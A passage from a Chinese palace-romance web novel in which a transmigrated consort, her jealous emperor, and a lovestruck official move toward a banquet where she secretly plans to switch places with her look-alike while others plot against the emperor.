乌时晏板着脸,好在,戚妤是站在他这边的。 裴谨:“娘娘收下,微臣就走。” 醉了的人是没有平日的分寸的,乌时晏此时才觉得平时的裴谨有多听得懂话。 至少清醒着的裴谨不会直冲冲冒犯到他面前。 戚妤微微一笑:“不知裴大人为何送本宫这个,可有什么缘由?” 乌时晏有一瞬的古怪,戚妤的声音很温柔,任谁都不会防备。 但愿裴谨是真醉了,将一切和盘托出。 裴谨目光纯粹,他道:“娘娘救了微臣,上次的谢礼准备的匆忙,也并不周全,微臣时时担忧着娘娘不喜欢,今晚宴上娘娘的目光在这个匕首上多有停留,所以微臣想着,将匕首送给娘娘,也好全了谢礼。” 他话说的微顿,有时需要想想才能接出下一句,但好在话里还有逻辑。 亦能让人听出他的醉意。 “上次的礼物本宫很喜欢。” 戚妤摸着腕上的玉镯,后知后觉想起她手腕上戴的是乌时晏给她挑的,而非裴谨上次送的那十几只,她不由心中一空。 裴谨眼神迷茫,语气有些伤心:“为何微臣不见娘娘戴过?” 乌时晏忍不了了,裴谨这分明是拐弯抹角的拈酸:“裴大人成日就盯着贵妃的手腕看吗?” 戚妤声音轻松,缓和道:“裴大人又不是本宫身边的宫人,自然不常见本宫戴。” 乌时晏随即出言讥讽:“若裴大人想当宫人,朕也不是不可以赐恩。” 裴谨略微惶恐地看了乌时晏一眼,又看向戚妤,眼中是说不过乌时晏的委屈。 醉酒了,确实不好再牙尖嘴利,引经据典的反驳。 戚妤拽了下乌时晏的衣袖,透出的意思分明:你跟他计较什么? 乌时晏阴郁至极。 戚妤一个头两个大,她问裴谨:“是不是本宫收了这个谢礼,裴大人就能走了?” 裴谨不甘心的嗯了一声,面上缓缓开心起来。 至少戚妤是偏帮他的。 若非她,他现在只怕要被拉下去乱棍醒酒了。 戚妤接过这个冰冷且沉甸甸的匕首,裴谨见此笑着行了一礼,这才退了好几步,而后大步离开,背影分为欢快。 戚妤忍俊不禁,醉酒的裴谨和平日的他相差甚大。 她将匕首交给佩玖让她收好,便对上了乌时晏冷凝乌黑的眼眸,压迫的人直不起腰。 戚妤仍是那句话:“你跟他计较做什么?” 乌时晏……更气了。 “他根本没将朕放在眼里,朕要诛——” 戚妤连忙捂住了他的嘴,君无戏言,乌时晏话一出来便难以收场了。 “裴谨是裴师唯一的子嗣。” 乌时晏郁闷地闭上了嘴,他本来没有这么大戾气的,都是裴谨在挑衅他。 戚妤将乌时晏拉回帐中,边走边吹嘘起乌时晏的心胸。 乌时晏道:“朕情愿不宽容,不大度。” 他心中升起前所未有的紧迫感,戚妤再纵着裴谨,他当真要忍不住了。 戚妤绞尽脑汁哄人:“臣妾给陛下绣个腰带可好?” “……好。” 这让乌时晏怎么拒绝,话题转而谈起他喜欢的花纹。 乌时晏没那么容易糊弄:“这要阿妤自己想,朕说了岂不是太简单,一点难度都没有?” 戚妤面露苦恼,苦苦思索起来。 乌时晏转怒为笑:“要好好想,绝不可以敷衍,不然朕真的要龙颜大怒了。” 戚妤笑着摸了摸乌时晏的脸颊:“嗯?让臣妾摸摸陛下的龙颜。” 乌时晏仰着头,很是高傲。 戚妤脸上的笑容扩大。 她起身去沐浴后,乌时晏走出了帐篷,又走远了一些,这才唤出萧从:“去给裴谨醒醒酒。” 戚妤的耳朵很灵,背着她教训人要小心些。 萧从也觉得裴大人太过分了,若非当时周围没人,娘娘的清誉就要有损了。 翌日,戚妤起身后见佩玖神色有异,便问发生了什么事。 佩玖道:“裴大人昨夜醉酒掉水里了,回到帐篷时浑身湿漉漉的,昨晚裴大人也没让人去请太医,今早看着便有些畏寒。” “这么不当心。” 戚妤食指轻点:“佩玖,你让去裴大人那里的太医给裴大人开药时,多放点黄连。” “啊?”佩玖惊讶地看向自家娘娘。 娘娘不是最怜惜裴大人了吗? 戚妤推她:“快去。” 她只是觉得,裴谨该长点记性了。 不然,神仙也难救他。 戚妤虽然对裴谨送给她的那个匕首好奇,昨晚太急,还未好好看一遍,但她想了想,还是压下了心中的蠢蠢欲动,若让乌时晏撞见,该不悦了。 她支着下巴看向外面淡蓝淡蓝,一个云彩也没有的天。 如果有完成任务的机会,她一定配合,因为她想家了。 第58章 狩猎结束, 队伍重新开拔,只剩几天就可以回到京城。 云平归心似箭,她可受够了这一路上没有乐子的日子,她的态度也感染了戚妤, 戚妤对回京也不由期待起来。 回宫的日子很快便到来了, 进入宫后戚妤先去拜见了太后, 将准备好的东西送出去, 便与太后说起要封披香殿三位美人位分的事。 太后道:“此事与陛下商议定了哀家就没什么不放心的, 宫内许久没有热闹过了, 不如这一次封位大典办得隆重些。” 戚妤应好, 回到昭阳殿,锦榕姑姑见她一切安好,便笑了起来。 “姑姑,本宫给你买了些东西, 你来看看喜不喜欢。” 锦榕道:“奴婢得娘娘重视,是奴婢的好福气。” 她自然是都喜欢的。 戚妤:“姑姑客气了。” 若是进宫后身边不是锦榕, 她许是要对宫内无所适从了。 昭阳殿日日有人打扫, 东西也都在原位, 因而戚妤没有半分不适应。 她让佩玖带着给赵婉仪准备的东西去一趟裴府。 戚妤很想问一问赵婉仪手臂上的伤好了没有, 但想到佩玖对此一无所知,还是作罢了。 不过她在原本的物品上多添了几盒药膏。 裴府。 赵婉仪的伤势经过两个月的调养, 早已好了,等闲看不出她手臂上受过伤。 月鹭进入屋内道:“姑娘, 姑爷回来了, 您不去见一见姑爷吗?” 赵婉仪这才想起她忘了什么,回到京,总得装一装。 “走吧。” 月鹭神气地跟在自家姑娘身边。 姑娘离京时, 说在京外怕苦了她,想将她留下,即便她说不怕苦,姑娘仍将她留了下来。 想到这些,月鹭心里便觉得甜蜜。 直至前天,姑娘方坐着马车回来。 一问才知道,裴姑爷重新得了陛下重用,可以回京了,甚至官职还往上升了升,姑娘与姑爷意外分别,只好独自回京,好在有下人和侍卫在,一路上还算顺风顺水。 今日陛下归京,姑爷也回了府上。 赵婉仪刚与裴谨碰面,丫鬟俱低着头,因而二人眼底皆透露着防备。 赵婉仪心知裴谨不如面上表现的这般和善,裴谨也不会以为一个一直存着弑君念头的女子会有多柔弱无害。 二人双双颔首后,裴谨想试探一番赵婉仪,便没有立刻分别。 赵婉仪觉得相看两厌就不该叫夫妻了,心中算着时辰,也在思索着自己的事。 诚然,戚妤待她很好,但终不是自己的亲妹,那日见乌时晏对戚妤的态度,她便升起了一个想法,只需利用戚妤让乌时晏错认她一时半刻,她便有把握出手。 从前想要一步步接近乌时晏的计划虽然作废了,但也免了她日日在乌时晏身边,会压制不住的作呕。 皇室中人哪有什么良善之辈,更何况乌时晏这样的凶戾之徒。 世人只以为乌时晏是赶鸭子上架,但殊不知他年少时便能替他父皇决断朝中事,生杀大权尽握在手中,不然几位皇子也不可能下了好一番功夫去对付一个得宠的皇子。 当初诛顾家满门的旨意便是经了乌时晏的手。 忽然,下人喜悦的声音打断了她的思绪。 “夫人,宫里的瑜贵妃娘娘派人给夫人送东西来了!” 赵婉仪骤然回神,看着庭内温暖的日光不由有些恍惚。 是了,那日分别的匆忙,戚妤不可能不惦记她。 裴谨握紧了桌角,他见佩玖随后笑着走进来,朝他们行礼后目光全然落在了赵婉仪身上,便知道送来的东西压根没他的份儿。 方才下人也说的是给赵婉仪送东西。 白白暗中激动了一场,裴谨若有若无的目光扫向佩玖。 佩玖属于少数知道自家娘娘与裴大人之间事的人,顶着这样的视线,她不由在心中叫苦不迭。 一番场面话后,佩玖将药膏拿出来:“赵夫人,这是娘娘特意叮嘱奴婢要亲自交到您手上的。” 赵婉仪笑起来,将药膏收下:“佩玖姑娘回去复命时,只需告诉娘娘,臣妇很好。” 佩玖流利应下,便一刻也不敢耽搁地回宫复命。 她真的没有什么东西可以交给裴大人的,不过裴大人不是忘却了吗,怎好似还在意着娘娘? 这可不成,娘娘虽一时荒唐,可皇帝和臣子的差别佩玖还是能区分出来的,她更想让娘娘一辈子都有无上富贵,而不是为了裴大人这样的男人昏了头。 因而回宫后,佩玖只提了赵婉仪,对裴谨特意避开了。 戚妤听到赵婉仪一切安好,便放了心。 升位的旨意已经到了披香殿,近几日宫内都很热闹。 戚妤让人去找来一名绣娘,开始着手给乌时晏缝制腰带。 乌时晏常穿一身黑,腰带自然要以玄色为主,但这上面的花样却要好好琢磨了。 戚妤让人将乌时晏留在披香殿的衣裳找出来,几番对比,便决定用金线绣灵芝。 绣娘听罢戚妤的描述,画了三种花样出来,戚妤选了一个,一边绣一边让绣娘指点她。 封位大典大办特办,反衬得昭阳殿有些冷清。 乌时晏走进来时,恰逢昭阳殿没几个下人,殿内安静的没什么声响。 他不由愠怒:“宫人呢?” 佩玖连忙出去道:“陛下,娘娘在给您缝制腰带,嫌人来人往不安宁,便让宫人退下了。” 乌时晏转而心花怒放,他进入殿内,果然看戚妤在绣腰带。 戚妤嗔了乌时晏一眼。 乌时晏浅笑着走近,绣娘行礼后退至一旁。 “竟然是灵芝。” 没有人不喜欢健健康康的,乌时晏出生便是皇子,自幼时大病了一场,他便喜上了这类绣纹,即便当了皇帝,在常服上他也喜以灵芝为主。 更何况他还被寒毒折磨了几年,对健康就更看重了。 乌时晏心中不由流入了一股暖流,他握住戚妤的手:“歇一歇眼,朕又不急。” 戚妤放下了针线:“陛下怎么来了?” 乌时晏的目的格外简单:“想你了,便来看看。” 戚妤纳闷:“陛下还没看够吗?” 乌时晏摇了摇头:“一辈子都看不够。” 此时戚妤的格外平和,与没多少人的殿内相得益彰,但乌时晏却想,离不得人侍奉的阿妤将宫人支了出去,这种感觉似意味着戚妤不再留恋皇宫,他心中不禁惶惶,竟然觉得他留不住她了。 但怎么可能? 他可是皇帝,心想事成,怎么可能连一个心爱的女子都留不住? “陛下,你抱的太紧了。”戚妤嗓音懒懒道。 乌时晏后知后觉松了劲儿:“阿妤这几天还没请平安脉?” 戚妤点了点头。 乌时晏示意田文善去传太医。 戚妤有些莫名,但在太医来后,还是伸出了手。 她身上应该没病。 太医将帕子覆在戚妤手腕上,而后才开始把脉,几息后,太医收了手:“贵妃娘娘身体康健。” 戚妤笑起来,她便知道。 乌时晏紧跟着问:“没有其他了?” 太医摇了摇头。 乌时晏难掩失落。 戚妤示意佩玖将太医送走,才问乌时晏:“陛下在期待什么?” 乌时晏亲了亲戚妤的面颊:“没什么。” 戚妤有一个猜测,但不好说,不过方才太医的态度意味着她并未有孕。 太好了,没有怀孕。 若是怀孕,她离开时就有些难办了。 乌时晏转而道:“阿妤,朕给你挑的暗卫已经选好了,此人名唤林二,是一名女子。” 林二光从名字便知道是林七的前辈,林二当暗卫多年,深谙如何保护主子,不让主子深处危险中。 且林二是林七的师父,能辖制得住林七。 田文善拍了拍手,林二走了进来。 林二跟林七一样,面容普通,气息浅淡,但她比林七多了些威严感。 暗处的林七泄露了几分气息,任谁都不想跟曾经的师父一起共事。 戚妤只得笑道:“太好了,林二和林七一人一日的轮值可好?” 她拒绝不得,只好在心里打定主意之后多补偿林七些银子。 乌时晏锁眉,并不看好这个建议,但见戚妤喜悦的样子,又不好一口回绝,只能告诉自己一步一步来,急不得。 “好,便按阿妤安排的来。” 林二见过了贵妃,便退了出去。 殿外,林二与林七见了一面。 林二道:“林七,你办事很不合格,陛下才派了我来,你可反省过?” 林七很沉默,须臾她道:“为主子尽职尽责,不需要反省。” 林二恨铁不成钢:“我们的主子是陛下。” “陛下将我送给了贵妃娘娘,便是娘娘的人,师父若不把娘娘当成主子对待,恐将大祸临头。” 林二只道:“我会看紧你。” 林七可有可无地应声。 从昭阳殿离开后,乌时晏便让田文善去告知太医,若之后请平安脉,如诊出有孕,需得将此事瞒下来,之后再向他禀报。 他了解戚妤,戚妤的态度好像很不期待有孩子。 乌时晏只能希望这是自己的错觉。 又两日,戚妤唤林七出来,将两个金元宝交给了她。 林七接受的也很干脆。 戚妤不由笑了起来:“我喜欢林七。” 林七沉默着退了回去,她摩擦着手里的金元宝,心情很好。 给乌时晏的腰带戚妤也赶工绣好了,她不喜欢将一件事放的太久,若是中间有什么事耽误了,乌时晏就收不到了。 那就太可惜了。 她不想失信,也不想留遗憾。 冬天的第一场雪落下时,乌时晏也佩戴上了新腰带。 戚妤绣的腰带适配乌时晏大部分玄色衣裳。 不过即便不适配,宫里那么多绣娘,难道还赶制不出几件新衣吗? 乌时晏的心情空前的好,尤其是在裴谨忙的团团转的时候。 朝廷的俸禄哪是那么好拿的? 他便是特意针对来又如何? 一下雪,戚妤的手炉就不离手里,她夏怕热,冬怕冷,昭阳殿的地龙一烧,也不爱出门了。 除了必要的去长信殿太后那里,整个人处于一个短暂的长草期。 麻将不想搓了,冬景不想赏了,哪里温暖往哪里窝。 佩玖从梅园回来,折了几枝红梅插在花瓶中,捧到戚妤让她看好不好看。 戚妤对佩玖的插花手艺给予了高度的赞赏。 佩玖纳闷:“娘娘怎么不爱出门了?” 娘娘整日呆在昭阳殿,素面朝天地穿着锁着毛边的衣裳,虽然这样也很漂亮,但外面园子里多好的景致啊,娘娘不出去看一看,难道不觉得可惜吗? 戚妤想,要是有一个手机,她更不爱出门了。 一入冬,太医来昭阳殿便有些勤了,几乎是隔两日就会来请平安脉。 又一次请脉结束后,太医心道,恐怕又要让陛下失望了,娘娘虽然变得惫懒,但实实在在没有怀孕。 裴府。 裴谨已经请了工匠在蘅芜院修建地龙,他不惧寒,但听闻宫里的戚妤却畏寒的紧。 他又让从前照顾戚妤的秋葵去采买女子穿的衣裳与首饰,不拘价格,但务必要是最好的。 光是技艺精湛的绣娘,裴谨就又养了五个来赶制冬衣。 他是忙,但只有有心,还是能安排过来的。 秋葵心中有一个猜测,这让她倍感惶恐,大人与夫人的感情恐怕根本没外面传的那么好,大人喜欢上的女子与府里的夫人一模一样,大抵上次她伺候的便不是玉照院的夫人。 怕就怕在,那位住在蘅芜院的夫人许是哪家的娘子。 而大人,正预备着使手段将人夺过来。 大宅子中的阴私屡见不鲜,但秋葵还是惊的心肝乱颤。 上次观那夫人的样子,好似是意外到了裴府,但从从今大人的准备便知道,这一次必定不是意外,而是蓄谋已久。 就是不知那位夫人对此是否知情,若不知情,大人岂不是在骗一个弱女子? 秋葵想了许多,可她一个婢女,又能做什么呢,她只好先将手头上的事办好。 时光如白驹过隙,落了雪,入了冬,年关便将至了,宫中传来了宫宴的消息。 裴谨与赵婉仪也正式坐下来好好谈了谈。 他们无需废话,很是直截了当。 裴谨道:“我喜欢戚妤。” 赵婉仪瞳孔猛得一颤。 他继续道:“我们合作吧。” 虽是合作,但他不觉得赵婉仪能重伤陛下,不过赵婉仪若能配合,这对他来说是一个无本的买卖。 赵婉仪冷静了一番,终是欣然应下:“可以,不过我有一个条件,若我死了,你需要继续找我的妹妹,保我妹妹一世荣华富贵。” “可以。”裴谨顿了一下,问,“赵伯父与赵伯母对你有养育之恩,你无论成功或是失败,必然要牵连赵氏,你难道就不后悔?” 赵婉仪唇边泛起一丝冷笑:“赵氏除了姑父与姑母全是豺狼虎豹,你知道真正的赵婉仪是如何死的吗?是她亲叔叔害死的,但赵老夫人将此事瞒了下来。赵氏族人都在觊觎姑父的位置,姑父早年被算计的不能再生育,又失了亲生女儿,你说他恨不恨这些人?” “况且,我不是他们真正的女儿,解不开他们的心结,他们的身体一日比一日差,我却无可奈何,大夫说,他们的身体可能熬不过这个冬天。” 裴谨终于明白了赵婉仪为什么这么决绝,明知不可为而为之。 赵婉仪冷静下来:“我妹妹后背的右肩胛骨上有一个小龟形状的胎记,如果有此凭证,无论对错,都可算作我的亲妹妹。” 裴谨的眼瞳倏地一紧,他悄然握紧了拳。 怎么会…… ……怪不得两人会长的如此像。 只不过一个背负了血海深仇,一个在乡间无知无觉地长大。 命运就是如此戏弄人。 裴谨克制着没有失态,若被赵婉仪察觉出不妥,她便不会应了。 赵婉仪要成事就会利用到戚妤,但她若知道真相,如何抉择就说不准了。 人该为自己打算才是。 如果陛下杀了赵婉仪,戚妤又得知了血缘关系,戚妤大概会恨一辈子陛下……等等,戚妤稍一思索就会知道他在其中的作用。 两个乌鸦还需要论谁更黑吗? 恨一个人和恨两个人有什么区别? 裴谨一心二用,一边听着赵婉仪罗列自己名下的铺子,这都是要给妹妹的,她顿了顿,又从中抽出来一部分送给戚妤,利用戚妤,她真的很抱歉;一边在心中思索着如何在赵婉仪犯下大错后,让陛下留她一命。 这无疑很难,一旦时间上把握的不对,他们会被瓮中捉鳖,他就无法将戚妤带出宫来。 成功与否,就看宫宴那日了。 第59章 常为贵妃娘娘请平安脉的周太医刚从御前离开, 田文善不由心思百转,不知周太医给陛下说了什么,此时殿内一片安静,连批阅奏折的声音也没有了。 坐在御案后的乌时晏, 手上的毛笔不知什么时候松开, 墨汁毁了一本请安的奏折, 但他却无暇顾及。 他耳畔是乱糟糟的心跳声, 脸庞升起了丝红晕, 眼皮微压下的眼眸分外明亮。 他心中不断循环着周太医说贵妃有孕, 只是月份太小, 并无万全的把握。 最终在他的追问下,没有万全的把握是多少,周太医答曰六成。 但乌时晏却知道已经十拿九稳了,这些太医纵使有十成十的把握, 也只会说六七成。 他要做父皇了! 惊喜来得太突然,乌时晏反而不知道该如何反应了。 他想了种种, 最终乌时晏只庆幸这两日戚妤说倦时, 他没有得寸进尺的闹她。 “田文善, 将那一匣子东珠送到昭阳殿……算了, 朕也去。” 田文善流畅应下,他没有提醒陛下东珠历来只有皇后才能有, 他知道的东西自小生活在皇宫的陛下会不知道? 陛下的用意,简直是摆在明面上的。 田文善刚要下去, 却见陛下又露出了平日根本不会有的笑意, 甚至踌躇道:“衣裳已经穿了半日,换身衣服再去昭阳殿。” 乌时晏想,他常穿玄色, 阿妤说不定都看腻了。 这次换一个沉稳的颜色。 田文善:“……” 他真的从未见过这样的陛下,小心谨慎到了极点。 外面的雪早已停了,宫中筹备宫宴,本来该由戚妤接手的,但她借口有些倦,将此事仍给了御前。 乌时晏身边有李昌和田文善,一个小小的宫宴,想必不在话下。 佩玖听此不禁可惜,但见娘娘对什么都提不起精神的样子,又只余心疼。 “娘娘,宫路上的雪已经扫干净了,不如奴婢陪您出去走走?” “不必。”戚妤接过手炉,翻看起南巡路上买的书。 她不想接这个差事,只是因为,如果她没猜错的话,这个宫宴很特殊,约莫就是她与赵婉仪相换的那个宫宴了。 戚妤不知道剧情能否自洽,但无论发生或不发生,在此之前,她都得先安排好佩玖与林七。 自上次的意外,林七就很怕把她给弄丢。 若这次在林七眼皮子底下被换走,林七察觉了,定会拦下,功亏一篑,林七没有察觉,事后少不了一番深深自责。 所以宫宴那天她需得先将林七支走。 好在乌时晏给她身边送来了林二,宫宴那日,恰好是林二当值,如此若第二天林七察觉出殿内的是赵婉仪,也会知道她在裴府。 她与裴谨的事,林七想不知道都难,她瞒得过谁都瞒不过林七。 林七知道她在裴府,心也能放下大半。 林二倒是很好糊弄,只要有一个贵妃在,她就万事大吉了。 戚妤不觉得林二能分辨得出她与赵婉仪。 至于佩玖,戚妤有心想给佩玖示警,但想了想,还是作罢,佩玖对此一无所知,反倒没事。 知道的多了,徒惹迁怒。 一旦乌时晏起疑,通过佩玖知晓她事先知情,乌时晏定会很生气。 她在京中给佩玖购置了宅子,宅中又放了黄金,可以保一大家子一辈子衣食无忧。 佩玖无父无母,若想成家立业,这无疑是她最好的底气。 当宫女才能攒下多少钱? 但因她的缘故,佩玖这个宫女还得当一段时间。 戚妤一心二用,边在心中做着安排,边垂目翻页。 宫人快步上前通禀陛下来了时,戚妤已经将一本书看完了,同时心中有些诧异。 这个时辰正是乌时晏要批奏折的时候。 纵使有事,也只会让御前的宫人跑一趟,不过通常情况下,多是乌时晏那里又得了什么东西命人送至昭阳殿。 因为这,她瘪了的荷包得以迅速充盈起来。 戚妤从铺满软狐皮的椅子上起身,没走两步便被大步而来的乌时晏执起了手。 “朕不是说过,爱妃不必多礼吗?” 这声爱妃格外肉麻,戚妤肌肤一抖,但在乌时晏灼灼的目光下,仿佛那声爱妃也不算什么了。 戚妤脸上带着粉意,疑惑道:“臣妾这算是多礼吗?” 皇帝都走进殿内了,她才堪堪起身,虽然有乌时晏走的太快的缘故,但不可否认,她有些散漫了。 戚妤一惊,她在穿越前可不会这样想。 想来即便她地位足够高,乌时晏给了她最大的纵容,这个朝代的观念还是一定程度影响了她。 “当然算,朕也不是那么重要,需要阿妤出来迎。” 戚妤抛开思绪,理所当然开口道:“陛下当然重要了,在臣妾心中,陛下是最重要的那个人。” 乌时晏有些惊喜,他眸中漫起笑意:“阿妤真这样认为?” 戚妤肯定道:“自然。” 她要是离开,最舍不得的当属乌时晏,相处这么久,她也并非全然无情。 且乌时晏这人,不仅长的帅,还很大方。 当然,这些喜欢不足以让她留下来。 戚妤有自己的顾虑,比起这里,她更熟悉的还是原本的世界,况且,他们现在年轻,可以无所顾忌的谈情说爱,但一旦老去,再要好的恋人之前的裂隙也会扩大。 她与乌时晏间本就夹杂着一个裴谨。 她一直以来都是以她最终总会离开为假设,才会这样毫无顾忌,不然她早该汲汲营营谋夺皇后之位了,等乌时晏死了,她就能当垂帘听政的太后,等那时再养男宠,就不会倍感压力。 总之,能回家给她的退路太大了。 乌时晏扶戚妤坐下,抚了抚她的青丝:“阿妤这样说,朕真的很高兴。” 但他从始至终,都没准备将阿妤可能怀孕的消息告诉她。 只等瞒无可瞒,他才会说出口。 戚妤对有孩子这件事,并不渴盼,乌时晏甚至设想过最坏的可能,戚妤也许并不想这么快的怀上孩子。 然而他等不及了,他需要这个皇嗣来牵绊住戚妤。 戚妤问:“陛下怎么这个时辰来了,可是有什么不顺心的事?” 乌时晏顺势嗯了一声:“朝堂上的事吵的朕头疼,来阿妤这里避一避。” 戚妤虽见他面上不带愁绪,但还是选择信他的话,毕竟乌时晏不露声色也不是一两次的,能说出来必定很严重了。 “臣妾给陛下揉一揉额头?” 乌时晏哪敢在这种时候累到戚妤:“朕抱一抱你就好了。” 戚妤又看着他问:“那要去床上躺一躺吗?” “好。” 乌时晏心中分外甜蜜,他搂着戚妤,特意避开了她的肚子。 戚妤没发现这个小细节,但仍感受到了乌时晏对她的态度有异,更慎重体贴了。 可她心里藏着事,又还未到来月信的日子,自然无法想到是因为怀孕了。 待躺到床上,本来精神头还不错的戚妤,被乌时晏这么抱着,而他又没什么动作时,不知不觉间染上了困意,慢慢贴着乌时晏道胸膛睡着了。 等到戚妤醒来后,她发现乌时晏竟然还没走。 甚至让人将奏折搬到了昭阳殿。 因而直到第二日下午,戚妤才知道乌时晏昨日让人送来了东珠。 东珠是弥足珍贵的白色大珍珠,至少到戚妤手上是这样的,颗颗圆润饱满,色泽透彻。 戚妤拿在日光下看了看,便放下了。 佩玖很是激动:“娘娘,田公公说这是东珠!” 戚妤笑道:“放入库房前便由你检查吧。” 佩玖还想再强调,但转念一想,娘娘怎么会不知道这意味着什么呢,正因为知道,心中又有成算,才这样淡定吧。 佩玖笑吟吟应下,过了把眼瘾后才送去库房记录在册。 戚妤不是不知道这是什么意思,但宫宴在即……她只在心中庆幸,幸而乌时晏现在只有一个念头,就算想下什么旨意也得等到宫宴过后。 戚妤更坚定了自己要离开的决心,宜早不宜迟,否则,她真的不知道该怎么面对乌时晏的盛情了。 乌时晏越是这样,她就对他越是多些遗憾。 好在离宫宴只差三天了,宫中的歌舞乐伎拼了命在练习曲目,期待在宫宴上一鸣惊人,宫中上上下下的气氛极为和谐,洋溢着活泼氛围。 又一日,宫中送来了宫宴当日需要穿戴的物品,戚妤原本以为宫宴那样的场合,应该穿的郑重些,却没想到,虽然形制没有变,衣裳却以轻便舒服为主,头上戴的首饰也没那么沉了。 戚妤疑惑,佩玖自然也是,便问出了口。 宫人道:“是陛下的命令,陛下说此次宫宴不必那般循规蹈矩,陛下与贵妃娘娘此次的衣裳与首饰都可以稍微改一改。” 戚妤知道乌时晏的衣裳也要改,便以为他是一时兴起。 毕竟这很正常,身为皇帝,改些规矩的权利还是有的。 宫宴举办在曲台殿,殿外有池,不远处又有梅林,因要燃放烟花,时间自然是在傍晚。 当日早晨,戚妤醒来后只觉空落落的。 这几日乌时晏与她的亲密不减,碰她却很克制。 她找不出原因,只得安慰自己这样也好,反正他们就要分开了。 周太医来请平安脉时,戚妤正再三确定了林七今日休假,停留在院中晒太阳。 戚妤回到殿内,将手腕递了出去:“周太医,本宫身子可好?” 周太医诊过脉后,面上一派平稳:“娘娘身体一切安好,只是天凉,饮食上需得多加注意,且是药三分毒,娘娘若要喝药,药方一定得是微臣看过的。” 宫里的主子私下自己吃药的不少,多是求子的秘方。 即便知道贵妃娘娘不需要吃这种药,可就怕万一,周太医还是多叮嘱了一句。 戚妤应下,让佩玖给周太医赏银,又让宫人客客气气将人送走。 出了昭阳殿,周太医便往御前走了一趟。 若之前他对陛下说只有六成把握,现在却是可以说是滑脉了,错不了。 宫宴虽是在晚上,但宫外的臣子与其家眷下午就需要启程了。 各府的马车停在宫门口,再由宫人领他们步行到曲台。 裴谨与赵婉仪并行进宫。 裴谨在宫中没什么人手,至多曾与陛下身边的人有过几分交情。 但这点关系也够他将消息在合适的时机递到陛下身边了。 而赵婉仪却是早有筹谋,在宫中的人脉也更广。 从前乌时晏少有出温室殿,她在寝宫安插人手便显得有些鸡肋,但这半年来,乌时晏一直住在寝宫与昭阳殿,则给了她些机会。 也让她有把握在宫中制造些无伤大雅的混乱,让裴谨趁机将戚妤带走。 另一边,昭阳殿内,戚妤已经穿戴整齐,坐在铜镜前,宫娥刚给她敷了层薄粉,画上腮红。 乌时晏走了进来。 宫人齐齐行礼,戚妤本想起身,却被他按住了肩膀。 乌时晏看过后,真心实意道:“阿妤不画也很美。” 戚妤嗔了镜中的他一眼,今日乌时晏一身玄色龙袍,他气势在那儿,即便衣饰略微简便也不显单调。 乌时晏心情很好地接过黛笔:“朕来为你描眉。” 戚妤紧接着道:“还有唇也没画。” 乌时晏只两个字:“朕来。” 戚妤笑了起来。 乌时晏动作细致,他倒很想拉长给戚妤画眉点唇的时间,但奈何这些都不费功夫。 须臾,乌时晏将手中的工具放下,牵起戚妤的手:“与朕一起去宫宴。” 戚妤点头,这不是她第一次与乌时晏一同走了,自然没什么不适应。 抵达曲台殿时,天已经暗淡了下来。 曲台周围灯火通明,宫人早早挂上了灯笼。 天子出行,避让是必然的。 戚妤就这么被乌时晏牵着手,走进了殿内。 大殿中人差不多已经齐了,安静的氛围在乌时晏与她落座时被打破,山呼万岁千岁的声音低沉有力。 乌时晏道了声平身,又说了几句简单的话,宫宴旋即正式开始,殿内也真正热闹了起来。 戚妤扫了一眼,只觉风平浪静。 她揣揣不安起来,她不会真的将原剧情给蝴蝶掉了吧。 如果真是这样,她就要忍不住亲自设计了。 如果能回家,算计就算计吧。 戚妤面上还是浅笑的样子,不论是从眼眸还是神情,都看不出她此时的心情。 她自然而然地看向赵婉仪,稍稍握紧了酒杯。 赵婉仪对这道目光若有所觉,一直沉默的她看了过去,并笑了起来。 戚妤举了举酒杯,冲她眨了眨眼。 赵婉仪莞尔一笑,只觉更对不起戚妤了。 可是既然已经决定,就要一条道走到黑,不然今晚的筹谋全都白费了。 她定了定神,饮下了杯中的酒,味道不烈,恰好适合女子饮用。 这边,戚妤刚要喝,就被田文善快步上前制止了:“娘娘,陛下说,曲台附近水多,不宜饮酒,底下的奴才办事不力才给您上了酒,不如奴才给您换成甜羹?” 戚妤看向乌时晏,这次宫宴一切都得按规矩,她坐的自然没有在宫外时离乌时晏那样近,近到可以说悄悄话的程度。 乌时晏微锁眉头,对她点了点头。 田文善所说的确实是他的意思。 好吧,戚妤心道,她就听乌时晏最后一次。 戚妤有些困惑,明明她从未醉过酒,反倒是乌时晏,最开始她还照顾过他一次,没想到如今他却反过来限制住她了。 酒壶与酒杯被撤了下去,戚妤手边多了碗甜羹,还冒着些许热气。 戚妤浅尝了一口,便欣赏起歌舞,遇见喜欢的只需吩咐人在他们退下后给他们赏赐。 丝竹声听的人昏昏欲睡,但戚妤却睁着双明亮的眼睛,抵抗困意。 最关键的时候,可不能睡。 在歌舞已经表演了好几波后,许多人开始相互交谈了起来,推杯换盏。 李昌也上前低声禀报烟花已经准备好了。 乌时晏很快对众人宣布去观赏烟花。 于是浩浩荡荡的人群又出了大殿。 戚妤跟在乌时晏身边,他们站在池子前,抬头望去,不远处的天空,一朵朵烟花绽放在夜幕中。 绚烂夜景下,是一张又一张笑脸。 皇室财大气粗,烟花放了许久才结束。 然而,不远处的宫室忽然燃起了火光,但并未有多少人注意到。 戚妤目光一凝,拉了拉乌时晏的衣袖:“陛下,远处起火了。” 乌时晏一肃,牵起戚妤的手:“朕会让人去处理。” 若不是这里人太多,他会直接将戚妤裹进怀里。 他在宴上滴酒未沾,站在戚妤身边也不用担心熏着了她。 在烟花的作用下,人群中关系好的已经凑在了一起闲聊着。 裴谨与赵婉仪分做两旁看着陛下与贵妃,二人的目光均落在了戚妤身上。 薄行舟与温玉婵寻了个僻静的地方赏烟花,因而田文善寻到薄行舟时费了一番脚程:“国舅爷!陛下吩咐你调配宫中侍卫,前去灭火。” 温玉婵忙问:“哪里起火了?” 田文善立即答道:“南边一个偏僻的宫室。” 他也奇怪,大概是天干物燥,加上烟花崩落在那里,才不慎起火了。 薄行舟当即领命,接过田文善手中的令牌:“拜托田公公照看温大人的千金一二了。” “理应如此!国舅爷严重了。” 田文善要照看温玉婵,自然无法尽快回到陛下身边了。 既是照看,自是将人全须全尾的还给国舅爷。 在外面站了这么久,戚妤自觉有些累,惫懒作祟,她道:“陛下,臣妾想去更衣。” 这是个无法拒绝的理由,乌时晏只得将人放走。 不远处端着茶水的宫女,正欲找时机上前,撒到贵妃的衣裳上,却不成想贵妃竟与陛下分开,看离开的方向,是去换衣裳了。 得来全不费工夫,她上前,找到赵婉仪,短暂示意了一下便离开了。 赵婉仪身边,带的人不是月鹭,而是一个名唤菱角的生面孔。 赵婉仪垂了下眼:“走吧。” 菱角老实巴交的跟在她身边。 